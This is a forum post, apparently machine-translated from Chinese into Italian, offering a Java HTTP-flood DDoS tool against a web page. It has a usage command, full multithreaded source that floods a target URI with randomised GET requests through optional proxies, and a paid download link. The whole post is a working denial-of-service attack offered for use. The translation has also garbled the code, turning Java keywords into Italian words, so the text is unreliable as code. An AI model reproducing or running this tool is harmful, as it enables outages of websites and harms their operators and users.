Codice JAR attacco dDOS implementato da Java. Tuttavia, non è diverso dai dDos tradizionali. Questo software è un attacco DDOS su una pagina. Come utilizzare: Java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80
[mw_shl_code=java,true]import java.io.IOException; importa java.net.ConnectException; importare java.net.InetSocketAddress; import java.nio.ByteBuffer; importa java.nio.channels.SelectionKey; importare java.nio.channels.Selector; importare java.nio.channels.SocketChannel; import java.util.Iterator; import java.util.Random; import java.util.Set; importa java.util.Timer; importa java.util.TimerTask; import java.util.Vector;
/** * Filamenti demoniaci
* * Amministrazione @author
* */ test di classe pubblica { host privato String, uri, param; porto privato; vettore finale<CCDDOSThread> privato v = nuovo Vector<CCDDOSThread>(); privato InetSocketAddress isa; thread int privatiCount = 500; Numero di filettature privato Random r = new Random(); Tempo di fermo lungo privato = 5000L;
/** * Aprite l'attacco */ Public void start() { per (int i = 0; < threadsCount; i++) { CCDDOSThread t = new CCDDOSThread(); v.add(t); t.start();
} Timer t = nuovo Timer(); t.schedule(new TimerTask() { Public Void Run() { conteggio di intelligenza = 0, timeoutthreads = 0; long ct = System.currentTimeMillis(); per (<CCDDOSThread>Iteratore it = v.iterator(); it.hasNext(); ) { CCDDOShread th = it.next(); if (th.isCancle() || !th.isAlive()) { it.remove(); th = nullo; count++; } altrimenti se (ct - th.start > timeout) { Timeout, estremità esterna timeoutthreads++; th.setCancle(vero); th.interrupt(); it.remove(); th = nullo; count++; } } se (conteggio == 0) { ritorno; } System.out.println ("Thread è stato chiuso:"+count+", dove il thread di timeout è collegato:" + timeouts); per (int i = 0; < contare; i++) { CCDDOSThread th = nuovo CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println ("Thread del demone avviato:"); }
/** * @param args */ Public static void main(String[] args) { if (args.length < 6) { System.out.println("Istruzioni:"); System.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } altrimenti se (args.length >= 8) { Organizza un agente System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
test m = nuovo test(); m.host = args[0]; m.port = Integer.valueOf(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Integer.valueOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = nuovo InetSocketAddress(m.host, m.port); m.start(); }
/** * Filettature d'attacco * * @author zhanghongbo * */ classe CCDDOSThread estende Thread { Cancle booleano privato = falso; partenza pubblica a lungo = System.currentTimeMillis();
public void setCancle(boolean cancle) { this.cancle = cancle; }
public boolean isCancle() { Ritorno di Cancle; }
Public Void Run() { partenza lunga = System.currentTimeMillis(); Selettore selettore; try { selector = Selector.open(); SocketChannel sc; try { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(es.getMessage()); Cancle = vero; selector.close(); ritorno; }
sc.configureBlocking(false); sc.register(selettore, SelectionKey.OP_WRITE | SelectionKey.OP_READ); wait: while (selector.select() > 0 && !cancle) { if (System.currentTimeMillis() - start > timeout) { Cancle = vero; pausa aspetta; } Set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); while (it.hasNext() & !cancle) { if (System.currentTimeMillis() - start > timeout) { Cancle = vero; pausa aspetta; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { Pelle di corda = "GET" + uri + "?" + param + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Connessione:vicino\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write (bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} catch (IOException ex) { Cancle = vero; } } }
} [/mw_shl_code]
Prodotto finito e codice sorgente scarica:
java ddos.zip
(8.42 KB, Numero di download: 0, Prezzo di vendita: 2 Grain MB)
|